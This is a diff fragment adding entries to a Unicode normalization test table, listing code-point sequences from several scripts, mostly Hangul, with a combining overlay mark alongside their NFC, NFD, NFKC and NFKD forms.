+{ source: [0x0D47, 0x0334, 0x0D3E], NFC: [0x0D47, 0x0334, 0x0D3E], NFD: [0x0D47, 0x0334, 0x0D3E], NFKC: [0x0D47, 0x0334, 0x0D3E], NFKD: [0x0D47, 0x0334, 0x0D3E] },
+{ source: [0x0DD9, 0x0334, 0x0DCF], NFC: [0x0DD9, 0x0334, 0x0DCF], NFD: [0x0DD9, 0x0334, 0x0DCF], NFKC: [0x0DD9, 0x0334, 0x0DCF], NFKD: [0x0DD9, 0x0334, 0x0DCF] },
+{ source: [0x0DD9, 0x0334, 0x0DDF], NFC: [0x0DD9, 0x0334, 0x0DDF], NFD: [0x0DD9, 0x0334, 0x0DDF], NFKC: [0x0DD9, 0x0334, 0x0DDF], NFKD: [0x0DD9, 0x0334, 0x0DDF] },
+{ source: [0x0F40, 0x0334, 0x0FB5], NFC: [0x0F40, 0x0334, 0x0FB5], NFD: [0x0F40, 0x0334, 0x0FB5], NFKC: [0x0F40, 0x0334, 0x0FB5], NFKD: [0x0F40, 0x0334, 0x0FB5] },
+{ source: [0x0F42, 0x0334, 0x0FB7], NFC: [0x0F42, 0x0334, 0x0FB7], NFD: [0x0F42, 0x0334, 0x0FB7], NFKC: [0x0F42, 0x0334, 0x0FB7], NFKD: [0x0F42, 0x0334, 0x0FB7] },
+{ source: [0x0F4C, 0x0334, 0x0FB7], NFC: [0x0F4C, 0x0334, 0x0FB7], NFD: [0x0F4C, 0x0334, 0x0FB7], NFKC: [0x0F4C, 0x0334, 0x0FB7], NFKD: [0x0F4C, 0x0334, 0x0FB7] },
+{ source: [0x0F51, 0x0334, 0x0FB7], NFC: [0x0F51, 0x0334, 0x0FB7], NFD: [0x0F51, 0x0334, 0x0FB7], NFKC: [0x0F51, 0x0334, 0x0FB7], NFKD: [0x0F51, 0x0334, 0x0FB7] },
+{ source: [0x0F56, 0x0334, 0x0FB7], NFC: [0x0F56, 0x0334, 0x0FB7], NFD: [0x0F56, 0x0334, 0x0FB7], NFKC: [0x0F56, 0x0334, 0x0FB7], NFKD: [0x0F56, 0x0334, 0x0FB7] },
+{ source: [0x0F5B, 0x0334, 0x0FB7], NFC: [0x0F5B, 0x0334, 0x0FB7], NFD: [0x0F5B, 0x0334, 0x0FB7], NFKC: [0x0F5B, 0x0334, 0x0FB7], NFKD: [0x0F5B, 0x0334, 0x0FB7] },
+{ source: [0x0F90, 0x0334, 0x0FB5], NFC: [0x0F90, 0x0334, 0x0FB5], NFD: [0x0F90, 0x0334, 0x0FB5], NFKC: [0x0F90, 0x0334, 0x0FB5], NFKD: [0x0F90, 0x0334, 0x0FB5] },
+{ source: [0x0F92, 0x0334, 0x0FB7], NFC: [0x0F92, 0x0334, 0x0FB7], NFD: [0x0F92, 0x0334, 0x0FB7], NFKC: [0x0F92, 0x0334, 0x0FB7], NFKD: [0x0F92, 0x0334, 0x0FB7] },
+{ source: [0x0F9C, 0x0334, 0x0FB7], NFC: [0x0F9C, 0x0334, 0x0FB7], NFD: [0x0F9C, 0x0334, 0x0FB7], NFKC: [0x0F9C, 0x0334, 0x0FB7], NFKD: [0x0F9C, 0x0334, 0x0FB7] },
+{ source: [0x0FA1, 0x0334, 0x0FB7], NFC: [0x0FA1, 0x0334, 0x0FB7], NFD: [0x0FA1, 0x0334, 0x0FB7], NFKC: [0x0FA1, 0x0334, 0x0FB7], NFKD: [0x0FA1, 0x0334, 0x0FB7] },
+{ source: [0x0FA6, 0x0334, 0x0FB7], NFC: [0x0FA6, 0x0334, 0x0FB7], NFD: [0x0FA6, 0x0334, 0x0FB7], NFKC: [0x0FA6, 0x0334, 0x0FB7], NFKD: [0x0FA6, 0x0334, 0x0FB7] },
+{ source: [0x0FAB, 0x0334, 0x0FB7], NFC: [0x0FAB, 0x0334, 0x0FB7], NFD: [0x0FAB, 0x0334, 0x0FB7], NFKC: [0x0FAB, 0x0334, 0x0FB7], NFKD: [0x0FAB, 0x0334, 0x0FB7] },
+{ source: [0x1025, 0x0334, 0x102E], NFC: [0x1025, 0x0334, 0x102E], NFD: [0x1025, 0x0334, 0x102E], NFKC: [0x1025, 0x0334, 0x102E], NFKD: [0x1025, 0x0334, 0x102E] },
+{ source: [0x1100, 0x0334, 0x1161], NFC: [0x1100, 0x0334, 0x1161], NFD: [0x1100, 0x0334, 0x1161], NFKC: [0x1100, 0x0334, 0x1161], NFKD: [0x1100, 0x0334, 0x1161] },
+{ source: [0x1100, 0x0334, 0x116E], NFC: [0x1100, 0x0334, 0x116E], NFD: [0x1100, 0x0334, 0x116E], NFKC: [0x1100, 0x0334, 0x116E], NFKD: [0x1100, 0x0334, 0x116E] },
+{ source: [0x1101, 0x0334, 0x1166], NFC: [0x1101, 0x0334, 0x1166], NFD: [0x1101, 0x0334, 0x1166], NFKC: [0x1101, 0x0334, 0x1166], NFKD: [0x1101, 0x0334, 0x1166] },
+{ source: [0x1101, 0x0334, 0x1173], NFC: [0x1101, 0x0334, 0x1173], NFD: [0x1101, 0x0334, 0x1173], NFKC: [0x1101, 0x0334, 0x1173], NFKD: [0x1101, 0x0334, 0x1173] },
+{ source: [0x1102, 0x0334, 0x116B], NFC: [0x1102, 0x0334, 0x116B], NFD: [0x1102, 0x0334, 0x116B], NFKC: [0x1102, 0x0334, 0x116B], NFKD: [0x1102, 0x0334, 0x116B] },
+{ source: [0x1103, 0x0334, 0x1163], NFC: [0x1103, 0x0334, 0x1163], NFD: [0x1103, 0x0334, 0x1163], NFKC: [0x1103, 0x0334, 0x1163], NFKD: [0x1103, 0x0334, 0x1163] },
+{ source: [0x1103, 0x0334, 0x1170], NFC: [0x1103, 0x0334, 0x1170], NFD: [0x1103, 0x0334, 0x1170], NFKC: [0x1103, 0x0334, 0x1170], NFKD: [0x1103, 0x0334, 0x1170] },
+{ source: [0x1104, 0x0334, 0x1168], NFC: [0x1104, 0x0334, 0x1168], NFD: [0x1104, 0x0334, 0x1168], NFKC: [0x1104, 0x0334, 0x1168], NFKD: [0x1104, 0x0334, 0x1168] },
+{ source: [0x1104, 0x0334, 0x1175], NFC: [0x1104, 0x0334, 0x1175], NFD: [0x1104, 0x0334, 0x1175], NFKC: [0x1104, 0x0334, 0x1175], NFKD: [0x1104, 0x0334, 0x1175] },
+{ source: [0x1105, 0x0334, 0x116D], NFC: [0x1105, 0x0334, 0x116D], NFD: [0x1105, 0x0334, 0x116D], NFKC: [0x1105, 0x0334, 0x116D], NFKD: [0x1105, 0x0334, 0x116D] },
+{ source: [0x1106, 0x0334, 0x1165], NFC: [0x1106, 0x0334, 0x1165], NFD: [0x1106, 0x0334, 0x1165], NFKC: [0x1106, 0x0334, 0x1165], NFKD: [0x1106, 0x0334, 0x1165] },
+{ source: [0x1106, 0x0334, 0x1172], NFC: [0x1106, 0x0334, 0x1172], NFD: [0x1106, 0x0334, 0x1172], NFKC: [0x1106, 0x0334, 0x1172], NFKD: [0x1106, 0x0334, 0x1172] },
+{ source: [0x1107, 0x0334, 0x116A], NFC: [0x1107, 0x0334, 0x116A], NFD: [0x1107, 0x0334, 0x116A], NFKC: [0x1107, 0x0334, 0x116A], NFKD: [0x1107, 0x0334, 0x116A] },
+{ source: [0x1108, 0x0334, 0x1162], NFC: [0x1108, 0x0334, 0x1162], NFD: [0x1108, 0x0334, 0x1162], NFKC: [0x1108, 0x0334, 0x1162], NFKD: [0x1108, 0x0334, 0x1162] },
+{ source: [0x1108, 0x0334, 0x116F], NFC: [0x1108, 0x0334, 0x116F], NFD: [0x1108, 0x0334, 0x116F], NFKC: [0x1108, 0x0334, 0x116F], NFKD: [0x1108, 0x0334, 0x116F] },
+{ source: [0x1109, 0x0334, 0x1167], NFC: [0x1109, 0x0334, 0x1167], NFD: [0x1109, 0x0334, 0x1167], NFKC: [0x1109, 0x0334, 0x1167], NFKD: [0x1109, 0x0334, 0x1167] },
+{ source: [0x1109, 0x0334, 0x1174], NFC: [0x1109, 0x0334, 0x1174], NFD: [0x1109, 0x0334, 0x1174], NFKC: [0x1109, 0x0334, 0x1174], NFKD: [0x1109, 0x0334, 0x1174] },
+{ source: [0x110A, 0x0334, 0x116C], NFC: [0x110A, 0x0334, 0x116C], NFD: [0x110A, 0x0334, 0x116C], NFKC: [0x110A, 0x0334, 0x116C], NFKD: [0x110A, 0x0334, 0x116C] },
+{ source: [0x110B, 0x0334, 0x1164], NFC: [0x110B, 0x0334, 0x1164], NFD: [0x110B, 0x0334, 0x1164], NFKC: [0x110B, 0x0334, 0x1164], NFKD: [0x110B, 0x0334, 0x1164] },
+{ source: [0x110B, 0x0334, 0x1171], NFC: [0x110B, 0x0334, 0x1171], NFD: [0x110B, 0x0334, 0x1171], NFKC: [0x110B, 0x0334, 0x1171], NFKD: [0x110B, 0x0334, 0x1171] },
+{ source: [0x110C, 0x0334, 0x1169], NFC: [0x110C, 0x0334, 0x1169], NFD: [0x110C, 0x0334, 0x1169], NFKC: [0x110C, 0x0334, 0x1169], NFKD: [0x110C, 0x0334, 0x1169] },
+{ source: [0x110D, 0x0334, 0x1161], NFC: [0x110D, 0x0334, 0x1161], NFD: [0x110D, 0x0334, 0x1161], NFKC: [0x110D, 0x0334, 0x1161], NFKD: [0x110D, 0x0334, 0x1161] },
+{ source: [0x110D, 0x0334, 0x116E], NFC: [0x110D, 0x0334, 0x116E], NFD: [0x110D, 0x0334, 0x116E], NFKC: [0x110D, 0x0334, 0x116E], NFKD: [0x110D, 0x0334, 0x116E] },
+{ source: [0x110E, 0x0334, 0x1166], NFC: [0x110E, 0x0334, 0x1166], NFD: [0x110E, 0x0334, 0x1166], NFKC: [0x110E, 0x0334, 0x1166], NFKD: [0x110E, 0x0334, 0x1166] },
+{ source: [0x110E, 0x0334, 0x1173], NFC: [0x110E, 0x0334, 0x1173], NFD: [0x110E, 0x0334, 0x1173], NFKC: [0x110E, 0x0334, 0x1173], NFKD: [0x110E, 0x0334, 0x1173] },
+{ source: [0x110F, 0x0334, 0x116B], NFC: [0x110F, 0x0334, 0x116B], NFD: [0x110F, 0x0334, 0x116B], NFKC: [0x110F, 0x0334, 0x116B], NFKD: [0x110F, 0x0334, 0x116B] },
+{ source: [0x1110, 0x0334, 0x1163], NFC: [0x1110, 0x0334, 0x1163], NFD: [0x1110, 0x0334, 0x1163], NFKC: [0x1110, 0x0334, 0x1163], NFKD: [0x1110, 0x0334, 0x1163] },
+{ source: [0x1110, 0x0334, 0x1170], NFC: [0x1110, 0x0334, 0x1170], NFD: [0x1110, 0x0334, 0x1170], NFKC: [0x1110, 0x0334, 0x1170], NFKD: [0x1110, 0x0334, 0x1170] },
+{ source: [0x1111, 0x0334, 0x1168], NFC: [0x1111, 0x0334, 0x1168], NFD: [0x1111, 0x0334, 0x1168], NFKC: [0x1111, 0x0334, 0x1168], NFKD: [0x1111, 0x0334, 0x1168] },
+{ source: [0x1111, 0x0334, 0x1175], NFC: [0x1111, 0x0334, 0x1175], NFD: [0x1111, 0x0334, 0x1175], NFKC: [0x1111, 0x0334, 0x1175], NFKD: [0x1111, 0x0334, 0x1175] },
+{ source: [0x1112, 0x0334, 0x116D], NFC: [0x1112, 0x0334, 0x116D], NFD: [0x1112, 0x0334, 0x116D], NFKC: [0x1112, 0x0334, 0x116D], NFKD: [0x1112, 0x0334, 0x116D] },
+{ source: [0x1B05, 0x0334, 0x1B35], NFC: [0x1B05, 0x0334, 0x1B35], NFD: [0x1B05, 0x0334, 0x1B35], NFKC: [0x1B05, 0x0334, 0x1B35], NFKD: [0x1B05, 0x0334, 0x1B35] },
+{ source: [0x1B07, 0x0334, 0x1B35], NFC: [0x1B07, 0x0334, 0x1B35], NFD: [0x1B07, 0x0334, 0x1B35], NFKC: [0x1B07, 0x0334, 0x1B35], NFKD: [0x1B07, 0x0334, 0x1B35] },
+{ source: [0x1B09, 0x0334, 0x1B35], NFC: [0x1B09, 0x0334, 0x1B35], NFD: [0x1B09, 0x0334, 0x1B35], NFKC: [0x1B09, 0x0334, 0x1B35], NFKD: [0x1B09, 0x0334, 0x1B35] },
+{ source: [0x1B0B, 0x0334, 0x1B35], NFC: [0x1B0B, 0x0334, 0x1B35], NFD: [0x1B0B, 0x0334, 0x1B35], NFKC: [0x1B0B, 0x0334, 0x1B35], NFKD: [0x1B0B, 0x0334, 0x1B35] },
+{ source: [0x1B0D, 0x0334, 0x1B35], NFC: [0x1B0D, 0x0334, 0x1B35], NFD: [0x1B0D, 0x0334, 0x1B35], NFKC: [0x1B0D, 0x0334, 0x1B35], NFKD: [0x1B0D, 0x0334, 0x1B35] },
+{ source: [0x1B11, 0x0334, 0x1B35], NFC: [0x1B11, 0x0334, 0x1B35], NFD: [0x1B11, 0x0334, 0x1B35], NFKC: [0x1B11, 0x0334, 0x1B35], NFKD: [0x1B11, 0x0334, 0x1B35] },
+{ source: [0x1B3A, 0x0334, 0x1B35], NFC: [0x1B3A, 0x0334, 0x1B35], NFD: [0x1B3A, 0x0334, 0x1B35], NFKC: [0x1B3A, 0x0334, 0x1B35], NFKD: [0x1B3A, 0x0334, 0x1B35] },
+{ source: [0x1B3C, 0x0334, 0x1B35], NFC: [0x1B3C, 0x0334, 0x1B35], NFD: [0x1B3C, 0x0334, 0x1B35], NFKC: [0x1B3C, 0x0334, 0x1B35], NFKD: [0x1B3C, 0x0334, 0x1B35] },
+{ source: [0x1B3E, 0x0334, 0x1B35], NFC: [0x1B3E, 0x0334, 0x1B35], NFD: [0x1B3E, 0x0334, 0x1B35], NFKC: [0x1B3E, 0x0334, 0x1B35], NFKD: [0x1B3E, 0x0334, 0x1B35] },
+{ source: [0x1B3F, 0x0334, 0x1B35], NFC: [0x1B3F, 0x0334, 0x1B35], NFD: [0x1B3F, 0x0334, 0x1B35], NFKC: [0x1B3F, 0x0334, 0x1B35], NFKD: [0x1B3F, 0x0334, 0x1B35] },
+{ source: [0x1B42, 0x0334, 0x1B35], NFC: [0x1B42, 0x0334, 0x1B35], NFD: [0x1B42, 0x0334, 0x1B35], NFKC: [0x1B42, 0x0334, 0x1B35], NFKD: [0x1B42, 0x0334, 0x1B35] },
+{ source: [0xAC54, 0x0334, 0x11AE], NFC: [0xAC54, 0x0334, 0x11AE], NFD: [0x1100, 0x1164, 0x0334, 0x11AE], NFKC: [0xAC54, 0x0334, 0x11AE], NFKD: [0x1100, 0x1164, 0x0334, 0x11AE] },
+{ source: [0xACA8, 0x0334, 0x11B5], NFC: [0xACA8, 0x0334, 0x11B5], NFD: [0x1100, 0x1167, 0x0334, 0x11B5], NFKC: [0xACA8, 0x0334, 0x11B5], NFKD: [0x1100, 0x1167, 0x0334, 0x11B5] },
+{ source: [0xACFC, 0x0334, 0x11BC], NFC: [0xACFC, 0x0334, 0x11BC], NFD: [0x1100, 0x116A, 0x0334, 0x11BC], NFKC: [0xACFC, 0x0334, 0x11BC], NFKD: [0x1100, 0x116A, 0x0334, 0x11BC] },
+{ source: [0xADC0, 0x0334, 0x11AE], NFC: [0xADC0, 0x0334, 0x11AE], NFD: [0x1100, 0x1171, 0x0334, 0x11AE], NFKC: [0xADC0, 0x0334, 0x11AE], NFKD: [0x1100, 0x1171, 0x0334, 0x11AE] },
+{ source: [0xAE14, 0x0334, 0x11B5], NFC: [0xAE14, 0x0334, 0x11B5], NFD: [0x1100, 0x1174, 0x0334, 0x11B5], NFKC: [0xAE14, 0x0334, 0x11B5], NFKD: [0x1100, 0x1174, 0x0334, 0x11B5] },
+{ source: [0xAE68, 0x0334, 0x11BC], NFC: [0xAE68, 0x0334, 0x11BC], NFD: [0x1101, 0x1162, 0x0334, 0x11BC], NFKC: [0xAE68, 0x0334, 0x11BC], NFKD: [0x1101, 0x1162, 0x0334, 0x11BC] },
+{ source: [0xAF2C, 0x0334, 0x11AE], NFC: [0xAF2C, 0x0334, 0x11AE], NFD: [0x1101, 0x1169, 0x0334, 0x11AE], NFKC: [0xAF2C, 0x0334, 0x11AE], NFKD: [0x1101, 0x1169, 0x0334, 0x11AE] },
+{ source: [0xAF80, 0x0334, 0x11B5], NFC: [0xAF80, 0x0334, 0x11B5], NFD: [0x1101, 0x116C, 0x0334, 0x11B5], NFKC: [0xAF80, 0x0334, 0x11B5], NFKD: [0x1101, 0x116C, 0x0334, 0x11B5] },
+{ source: [0xAFD4, 0x0334, 0x11BC], NFC: [0xAFD4, 0x0334, 0x11BC], NFD: [0x1101, 0x116F, 0x0334, 0x11BC], NFKC: [0xAFD4, 0x0334, 0x11BC], NFKD: [0x1101, 0x116F, 0x0334, 0x11BC] },
+{ source: [0xB098, 0x0334, 0x11AE], NFC: [0xB098, 0x0334, 0x11AE], NFD: [0x1102, 0x1161, 0x0334, 0x11AE], NFKC: [0xB098, 0x0334, 0x11AE], NFKD: [0x1102, 0x1161, 0x0334, 0x11AE] },
+{ source: [0xB0EC, 0x0334, 0x11B5], NFC: [0xB0EC, 0x0334, 0x11B5], NFD: [0x1102, 0x1164, 0x0334, 0x11B5], NFKC: [0xB0EC, 0x0334, 0x11B5], NFKD: [0x1102, 0x1164, 0x0334, 0x11B5] },
+{ source: [0xB140, 0x0334, 0x11BC], NFC: [0xB140, 0x0334, 0x11BC], NFD: [0x1102, 0x1167, 0x0334, 0x11BC], NFKC: [0xB140, 0x0334, 0x11BC], NFKD: [0x1102, 0x1167, 0x0334, 0x11BC] },
+{ source: [0xB204, 0x0334, 0x11AE], NFC: [0xB204, 0x0334, 0x11AE], NFD: [0x1102, 0x116E, 0x0334, 0x11AE], NFKC: [0xB204, 0x0334, 0x11AE], NFKD: [0x1102, 0x116E, 0x0334, 0x11AE] },
+{ source: [0xB258, 0x0334, 0x11B5], NFC: [0xB258, 0x0334, 0x11B5], NFD: [0x1102, 0x1171, 0x0334, 0x11B5], NFKC: [0xB258, 0x0334, 0x11B5], NFKD: [0x1102, 0x1171, 0x0334, 0x11B5] },
+{ source: [0xB2AC, 0x0334, 0x11BC], NFC: [0xB2AC, 0x0334, 0x11BC], NFD: [0x1102, 0x1174, 0x0334, 0x11BC], NFKC: [0xB2AC, 0x0334, 0x11BC], NFKD: [0x1102, 0x1174, 0x0334, 0x11BC] },
+{ source: [0xB370, 0x0334, 0x11AE], NFC: [0xB370, 0x0334, 0x11AE], NFD: [0x1103, 0x1166, 0x0334, 0x11AE], NFKC: [0xB370, 0x0334, 0x11AE], NFKD: [0x1103, 0x1166, 0x0334, 0x11AE] },
+{ source: [0xB3C4, 0x0334, 0x11B5], NFC: [0xB3C4, 0x0334, 0x11B5], NFD: [0x1103, 0x1169, 0x0334, 0x11B5], NFKC: [0xB3C4, 0x0334, 0x11B5], NFKD: [0x1103, 0x1169, 0x0334, 0x11B5] },
+{ source: [0xB418, 0x0334, 0x11BC], NFC: [0xB418, 0x0334, 0x11BC], NFD: [0x1103, 0x116C, 0x0334, 0x11BC], NFKC: [0xB418, 0x0334, 0x11BC], NFKD: [0x1103, 0x116C, 0x0334, 0x11BC] },
+{ source: [0xB4DC, 0x0334, 0x11AE], NFC: [0xB4DC, 0x0334, 0x11AE], NFD: [0x1103, 0x1173, 0x0334, 0x11AE], NFKC: [0xB4DC, 0x0334, 0x11AE], NFKD: [0x1103, 0x1173, 0x0334, 0x11AE] },
+{ source: [0xB530, 0x0334, 0x11B5], NFC: [0xB530, 0x0334, 0x11B5], NFD: [0x1104, 0x1161, 0x0334, 0x11B5], NFKC: [0xB530, 0x0334, 0x11B5], NFKD: [0x1104, 0x1161, 0x0334, 0x11B5] },
+{ source: [0xB584, 0x0334, 0x11BC], NFC: [0xB584, 0x0334, 0x11BC], NFD: [0x1104, 0x1164, 0x0334, 0x11BC], NFKC: [0xB584, 0x0334, 0x11BC], NFKD: [0x1104, 0x1164, 0x0334, 0x11BC] },
+{ source: [0xB648, 0x0334, 0x11AE], NFC: [0xB648, 0x0334, 0x11AE], NFD: [0x1104, 0x116B, 0x0334, 0x11AE], NFKC: [0xB648, 0x0334, 0x11AE], NFKD: [0x1104, 0x116B, 0x0334, 0x11AE] },
+{ source: [0xB69C, 0x0334, 0x11B5], NFC: [0xB69C, 0x0334, 0x11B5], NFD: [0x1104, 0x116E, 0x0334, 0x11B5], NFKC: [0xB69C, 0x0334, 0x11B5], NFKD: [0x1104, 0x116E, 0x0334, 0x11B5] },
+{ source: [0xB6F0, 0x0334, 0x11BC], NFC: [0xB6F0, 0x0334, 0x11BC], NFD: [0x1104, 0x1171, 0x0334, 0x11BC], NFKC: [0xB6F0, 0x0334, 0x11BC], NFKD: [0x1104, 0x1171, 0x0334, 0x11BC] },
+{ source: [0xB7B4, 0x0334, 0x11AE], NFC: [0xB7B4, 0x0334, 0x11AE], NFD: [0x1105, 0x1163, 0x0334, 0x11AE], NFKC: [0xB7B4, 0x0334, 0x11AE], NFKD: [0x1105, 0x1163, 0x0334, 0x11AE] },
+{ source: [0xB808, 0x0334, 0x11B5], NFC: [0xB808, 0x0334, 0x11B5], NFD: [0x1105, 0x1166, 0x0334, 0x11B5], NFKC: [0xB808, 0x0334, 0x11B5], NFKD: [0x1105, 0x1166, 0x0334, 0x11B5] },
+{ source: [0xB85C, 0x0334, 0x11BC], NFC: [0xB85C, 0x0334, 0x11BC], NFD: [0x1105, 0x1169, 0x0334, 0x11BC], NFKC: [0xB85C, 0x0334, 0x11BC], NFKD: [0x1105, 0x1169, 0x0334, 0x11BC] },
+{ source: [0xB920, 0x0334, 0x11AE], NFC: [0xB920, 0x0334, 0x11AE], NFD: [0x1105, 0x1170, 0x0334, 0x11AE], NFKC: [0xB920, 0x0334, 0x11AE], NFKD: [0x1105, 0x1170, 0x0334, 0x11AE] },
+{ source: [0xB974, 0x0334, 0x11B5], NFC: [0xB974, 0x0334, 0x11B5], NFD: [0x1105, 0x1173, 0x0334, 0x11B5], NFKC: [0xB974, 0x0334, 0x11B5], NFKD: [0x1105, 0x1173, 0x0334, 0x11B5] },
+{ source: [0xB9C8, 0x0334, 0x11BC], NFC: [0xB9C8, 0x0334, 0x11BC], NFD: [0x1106, 0x1161, 0x0334, 0x11BC], NFKC: [0xB9C8, 0x0334, 0x11BC], NFKD: [0x1106, 0x1161, 0x0334, 0x11BC] },
+{ source: [0xBA8C, 0x0334, 0x11AE], NFC: [0xBA8C, 0x0334, 0x11AE], NFD: [0x1106, 0x1168, 0x0334, 0x11AE], NFKC: [0xBA8C, 0x0334, 0x11AE], NFKD: [0x1106, 0x1168, 0x0334, 0x11AE] },
+{ source: [0xBAE0, 0x0334, 0x11B5], NFC: [0xBAE0, 0x0334, 0x11B5], NFD: [0x1106, 0x116B, 0x0334, 0x11B5], NFKC: [0xBAE0, 0x0334, 0x11B5], NFKD: [0x1106, 0x116B, 0x0334, 0x11B5] },
+{ source: [0xBB34, 0x0334, 0x11BC], NFC: [0xBB34, 0x0334, 0x11BC], NFD: [0x1106, 0x116E, 0x0334, 0x11BC], NFKC: [0xBB34, 0x0334, 0x11BC], NFKD: [0x1106, 0x116E, 0x0334, 0x11BC] },
+{ source: [0xBBF8, 0x0334, 0x11AE], NFC: [0xBBF8, 0x0334, 0x11AE], NFD: [0x1106, 0x1175, 0x0334, 0x11AE], NFKC: [0xBBF8, 0x0334, 0x11AE], NFKD: [0x1106, 0x1175, 0x0334, 0x11AE] },
+{ source: [0xBC4C, 0x0334, 0x11B5], NFC: [0xBC4C, 0x0334, 0x11B5], NFD: [0x1107, 0x1163, 0x0334, 0x11B5], NFKC: [0xBC4C, 0x0334, 0x11B5], NFKD: [0x1107, 0x1163, 0x0334, 0x11B5] },
+{ source: [0xBCA0, 0x0334, 0x11BC], NFC: [0xBCA0, 0x0334, 0x11BC], NFD: [0x1107, 0x1166, 0x0334, 0x11BC], NFKC: [0xBCA0, 0x0334, 0x11BC], NFKD: [0x1107, 0x1166, 0x0334, 0x11BC] },
+{ source: [0xBD64, 0x0334, 0x11AE], NFC: [0xBD64, 0x0334, 0x11AE], NFD: [0x1107, 0x116D, 0x0334, 0x11AE], NFKC: [0xBD64, 0x0334, 0x11AE], NFKD: [0x1107, 0x116D, 0x0334, 0x11AE] },
+{ source: [0xBDB8, 0x0334, 0x11B5], NFC: [0xBDB8, 0x0334, 0x11B5], NFD: [0x1107, 0x1170, 0x0334, 0x11B5], NFKC: [0xBDB8, 0x0334, 0x11B5], NFKD: [0x1107, 0x1170, 0x0334, 0x11B5] },
+{ source: [0xBE0C, 0x0334, 0x11BC], NFC: [0xBE0C, 0x0334, 0x11BC], NFD: [0x1107, 0x1173, 0x0334, 0x11BC], NFKC: [0xBE0C, 0x0334, 0x11BC], NFKD: [0x1107, 0x1173, 0x0334, 0x11BC] },
+{ source: [0xBED0, 0x0334, 0x11AE], NFC: [0xBED0, 0x0334, 0x11AE], NFD: [0x1108, 0x1165, 0x0334, 0x11AE], NFKC: [0xBED0, 0x0334, 0x11AE], NFKD: [0x1108, 0x1165, 0x0334, 0x11AE] },
+{ source: [0xBF24, 0x0334, 0x11B5], NFC: [0xBF24, 0x0334, 0x11B5], NFD: [0x1108, 0x1168, 0x0334, 0x11B5], NFKC: [0xBF24, 0x0334, 0x11B5], NFKD: [0x1108, 0x1168, 0x0334, 0x11B5] },
+{ source: [0xBF78, 0x0334, 0x11BC], NFC: [0xBF78, 0x0334, 0x11BC], NFD: [0x1108, 0x116B, 0x0334, 0x11BC], NFKC: [0xBF78, 0x0334, 0x11BC], NFKD: [0x1108, 0x116B, 0x0334, 0x11BC] },
+{ source: [0xC03C, 0x0334, 0x11AE], NFC: [0xC03C, 0x0334, 0x11AE], NFD: [0x1108, 0x1172, 0x0334, 0x11AE], NFKC: [0xC03C, 0x0334, 0x11AE], NFKD: [0x1108, 0x1172, 0x0334, 0x11AE] },
+{ source: [0xC090, 0x0334, 0x11B5], NFC: [0xC090, 0x0334, 0x11B5], NFD: [0x1108, 0x1175, 0x0334, 0x11B5], NFKC: [0xC090, 0x0334, 0x11B5], NFKD: [0x1108, 0x1175, 0x0334, 0x11B5] },
+{ source: [0xC0E4, 0x0334, 0x11BC], NFC: [0xC0E4, 0x0334, 0x11BC], NFD: [0x1109, 0x1163, 0x0334, 0x11BC], NFKC: [0xC0E4, 0x0334, 0x11BC], NFKD: [0x1109, 0x1163, 0x0334, 0x11BC] },
+{ source: [0xC1A8, 0x0334, 0x11AE], NFC: [0xC1A8, 0x0334, 0x11AE], NFD: [0x1109, 0x116A, 0x0334, 0x11AE], NFKC: [0xC1A8, 0x0334, 0x11AE], NFKD: [0x1109, 0x116A, 0x0334, 0x11AE] },
+{ source: [0xC1FC, 0x0334, 0x11B5], NFC: [0xC1FC, 0x0334, 0x11B5], NFD: [0x1109, 0x116D, 0x0334, 0x11B5], NFKC: [0xC1FC, 0x0334, 0x11B5], NFKD: [0x1109, 0x116D, 0x0334, 0x11B5] },
+{ source: [0xC250, 0x0334, 0x11BC], NFC: [0xC250, 0x0334, 0x11BC], NFD: [0x1109, 0x1170, 0x0334, 0x11BC], NFKC: [0xC250, 0x0334, 0x11BC], NFKD: [0x1109, 0x1170, 0x0334, 0x11BC] },
+{ source: [0xC314, 0x0334, 0x11AE], NFC: [0xC314, 0x0334, 0x11AE], NFD: [0x110A, 0x1162, 0x0334, 0x11AE], NFKC: [0xC314, 0x0334, 0x11AE], NFKD: [0x110A, 0x1162, 0x0334, 0x11AE] },
+{ source: [0xC368, 0x0334, 0x11B5], NFC: [0xC368, 0x0334, 0x11B5], NFD: [0x110A, 0x1165, 0x0334, 0x11B5], NFKC: [0xC368, 0x0334, 0x11B5], NFKD: [0x110A, 0x1165, 0x0334, 0x11B5] },
+{ source: [0xC3BC, 0x0334, 0x11BC], NFC: [0xC3BC, 0x0334, 0x11BC], NFD: [0x110A, 0x1168, 0x0334, 0x11BC], NFKC: [0xC3BC, 0x0334, 0x11BC], NFKD: [0x110A, 0x1168, 0x0334, 0x11BC] },
+{ source: [0xC480, 0x0334, 0x11AE], NFC: [0xC480, 0x0334, 0x11AE], NFD: [0x110A, 0x116F, 0x0334, 0x11AE], NFKC: [0xC480, 0x0334, 0x11AE], NFKD: [0x110A, 0x116F, 0x0334, 0x11AE] },
+{ source: [0xC4D4, 0x0334, 0x11B5], NFC: [0xC4D4, 0x0334, 0x11B5], NFD: [0x110A, 0x1172, 0x0334, 0x11B5], NFKC: [0xC4D4, 0x0334, 0x11B5], NFKD: [0x110A, 0x1172, 0x0334, 0x11B5] },
+{ source: [0xC528, 0x0334, 0x11BC], NFC: [0xC528, 0x0334, 0x11BC], NFD: [0x110A, 0x1175, 0x0334, 0x11BC], NFKC: [0xC528, 0x0334, 0x11BC], NFKD: [0x110A, 0x1175, 0x0334, 0x11BC] },
+{ source: [0xC5EC, 0x0334, 0x11AE], NFC: [0xC5EC, 0x0334, 0x11AE], NFD: [0x110B, 0x1167, 0x0334, 0x11AE], NFKC: [0xC5EC, 0x0334, 0x11AE], NFKD: [0x110B, 0x1167, 0x0334, 0x11AE] },
+{ source: [0xC640, 0x0334, 0x11B5], NFC: [0xC640, 0x0334, 0x11B5], NFD: [0x110B, 0x116A, 0x0334, 0x11B5], NFKC: [0xC640, 0x0334, 0x11B5], NFKD: [0x110B, 0x116A, 0x0334, 0x11B5] },
+{ source: [0xC694, 0x0334, 0x11BC], NFC: [0xC694, 0x0334, 0x11BC], NFD: [0x110B, 0x116D, 0x0334, 0x11BC], NFKC: [0xC694, 0x0334, 0x11BC], NFKD: [0x110B, 0x116D, 0x0334, 0x11BC] },
+{ source: [0xC758, 0x0334, 0x11AE], NFC: [0xC758, 0x0334, 0x11AE], NFD: [0x110B, 0x1174, 0x0334, 0x11AE], NFKC: [0xC758, 0x0334, 0x11AE], NFKD: [0x110B, 0x1174, 0x0334, 0x11AE] },
